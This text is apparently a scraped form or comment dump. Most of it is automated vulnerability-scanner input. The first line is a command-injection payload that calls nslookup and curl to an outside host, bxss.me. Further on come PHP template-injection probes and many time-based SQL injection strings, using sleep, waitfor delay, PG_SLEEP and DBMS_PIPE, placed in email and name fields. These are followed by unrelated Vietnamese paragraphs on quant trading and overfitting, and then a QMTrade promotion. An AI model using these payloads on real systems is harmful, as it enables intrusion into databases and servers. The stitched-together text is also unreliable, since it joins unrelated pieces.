&(nslookup${IFS}-q${IFS}cname${IFS}hitdauvuznmkl27a5a.bxss.me||curl${IFS}hitdauvuznmkl27a5a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdauvuznmkl27a5a.bxss.me||curl${IFS}hitdauvuznmkl27a5a.bxss.me)&`'
tes****@example.com
555
RDFYjolf
tes****@example.com
555
{php}print(md5(31337));{/php}
tes****@example.com
555
RDFYjolf
tes****@example.com
@@mYym7
RDFYjolf
'"()
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
[php]print(md5(31337));[/php]
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
(select 198766*667891)
RDFYjolf
tes****@example.com'&&sleep(27*1000)*rlakzl&&'
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
(select 198766*667891 from DUAL)
RDFYjolf
tes****@example.com"&&sleep(27*1000)*xqliit&&"
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com'||sleep(27*1000)*spjgla||'
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com"||sleep(27*1000)*eppnon||"
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
if(now()=sysdate(),sleep(15),0)
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
'"()
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf'&&sleep(27*1000)*cppyic&&'
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
RDFYjolf
tes****@example.com
555
RDFYjolf"&&sleep(27*1000)*guchhl&&"
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf'||sleep(27*1000)*qhxlce||'
tes****@example.com
555
RDFYjolf
tes****@example.com0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf"||sleep(27*1000)*xwfxmw||"
tes****@example.com
555
RDFYjolf
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com-1 waitfor delay '0:0:15' --
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.coma6WYo0GL'; waitfor delay '0:0:15' --
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.comknEXpXot' OR 373=(SELECT 373 FROM PG_SLEEP(15))--
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.comygxj8tmD') OR 550=(SELECT 550 FROM PG_SLEEP(15))--
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.comihx3TE2o')) OR 722=(SELECT 722 FROM PG_SLEEP(15))--
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
RDFYjolf
tes****@example.com
555
RDFYjolf
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com'"
555
RDFYjolf
@
555
RDFYjolf
(select 198766*667891)
555
RDFYjolf
(select 198766*667891 from DUAL)
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
if(now()=sysdate(),sleep(15),0)
tes****@example.com
555
RDFYjolf0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
tes****@example.com
555
RDFYjolf0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
tes****@example.com
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
tes****@example.com
555
RDFYjolf-1 waitfor delay '0:0:15' --
tes****@example.com
555
RDFYjolf5z6cSUDZ'; waitfor delay '0:0:15' --
tes****@example.com
555
RDFYjolfA6PPk5np' OR 796=(SELECT 796 FROM PG_SLEEP(15))--
tes****@example.com
555
RDFYjolf7i2RZtTc') OR 731=(SELECT 731 FROM PG_SLEEP(15))--
tes****@example.com
555
RDFYjolfQ1CuVqwv')) OR 885=(SELECT 885 FROM PG_SLEEP(15))--
tes****@example.com
555
RDFYjolf'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
tes****@example.com
555
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf'"
tes****@example.com
555
@@ORxhK
tes****@example.com
555
(select 198766*667891)
tes****@example.com
555
(select 198766*667891 from DUAL)
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
Khi thực hiện bất kỳ chiến lược giao dịch nào trên thị trường tài chính, một yếu tố không thể thiếu chính là khả năng giải thích (interpretability) của mô hình giao dịch. Điều này đặc biệt quan trọng trong bối cảnh môi trường biến động và khi quản lý rủi ro là yếu tố sống còn đối với các quỹ đầu tư và các trader chuyên nghiệp. Mỗi chiến lược giao dịch không chỉ cần phải hiệu quả mà còn phải dễ hiểu, có thể giải thích một cách rõ ràng tại sao tín hiệu mua/bán lại được đưa ra trong một tình huống cụ thể.
Trong thực tế, rất nhiều ý tưởng giao dịch nghe qua đều có vẻ hợp lý. Ví dụ như mua khi giá vượt MA dài hạn, mua khi cổ phiếu breakout kèm thanh khoản tăng, hoặc đứng ngoài khi thị trường chung nằm dưới đường trung bình dài hạn. Nếu chỉ nhìn chart bằng mắt, rất dễ cảm thấy những ý tưởng như vậy “có vẻ đúng”. Vấn đề là cảm giác đó không đủ để dùng tiền thật. Với QM Capital, giá trị đầu tiên và lớn nhất của vectorized backtesting không phải là để khoe một equity curve đẹp, mà là để biến một ý tưởng mơ hồ thành một bộ quy tắc kiểm tra được.
Khi mới học quant trading, nhiều người thường tập trung gần như toàn bộ vào phần mô hình. Họ nghĩ rằng nếu dự báo đúng hơn một chút, hoặc nếu tìm được một tín hiệu chính xác hơn phần còn lại của thị trường, thì kết quả giao dịch chắc chắn sẽ tốt. Cách nghĩ này không sai hoàn toàn, nhưng mới đúng một nửa. Trong giao dịch thực tế, dự báo chỉ là điểm bắt đầu. Sau đó còn một bước quan trọng hơn nhiều: biến tín hiệu đó thành vị thế thật, giao dịch thật, lợi nhuận thật.
Nếu phải chọn một rủi ro làm hỏng nhiều chiến lược định lượng nhất, thì đó thường không phải là thiếu mô hình hiện đại, mà là overfitting. Nói đơn giản, overfitting xảy ra khi mô hình học quá kỹ dữ liệu quá khứ đến mức nó không chỉ học tín hiệu thật, mà còn học luôn cả nhiễu. Khi nhìn lại lịch sử, mọi thứ trông rất đẹp: độ chính xác cao, equity curve mượt, drawdown dễ chịu, Sharpe ratio hấp dẫn. Nhưng đến khi đem sang giai đoạn mới, hoặc live trading, mô hình bắt đầu hỏng rất nhanh.
Có một hiểu lầm rất phổ biến khi mới bước vào quant trading: cứ nghe đến “quant” là nghĩ ngay đến deep learning, transformers, reinforcement learning, foundation models, hay ít nhất cũng phải có một thứ gì đó đủ phức tạp để nghe giống phòng lab hơn là bàn giao dịch. Nhưng nếu nhìn vào cách nhiều tổ chức thật đang vận hành, bức tranh lại bớt hào nhoáng hơn nhiều.
Nếu nhìn theo kiểu tin tức, ngày đáo hạn phái sinh thường bị gắn với những cụm như rung lắc, kéo trụ, ép ATC. Nhưng với quant trading, cách hỏi như vậy vẫn còn cảm tính. Câu hỏi đúng hơn là: ngày đáo hạn có tạo ra một mẫu biến động lặp lại, đủ ổn định, đủ rõ, để mình đưa vào bộ lọc của hệ thống hay không. Đây là một câu hỏi rất hợp với thị trường Việt Nam, vì hợp đồng tương lai VN30 có lịch đáo hạn cố định vào thứ Năm lần thứ ba của tháng đáo hạn, nên bản thân nó đã là một event định kỳ, rất phù hợp để làm event study. Ngoài ra, hợp đồng VN30 hiện có hệ số nhân 100.000 đồng mỗi điểm chỉ số, nên đây không phải một sản phẩm quá nhỏ để bỏ qua khi nhìn hành vi của nhóm cổ phiếu trụ.
Được nghiên cứu và phát triển bởi các chuyên gia từ QMTrade và cộng đồng nhà đầu tư chuyên nghiệp.
Truy cập ngay!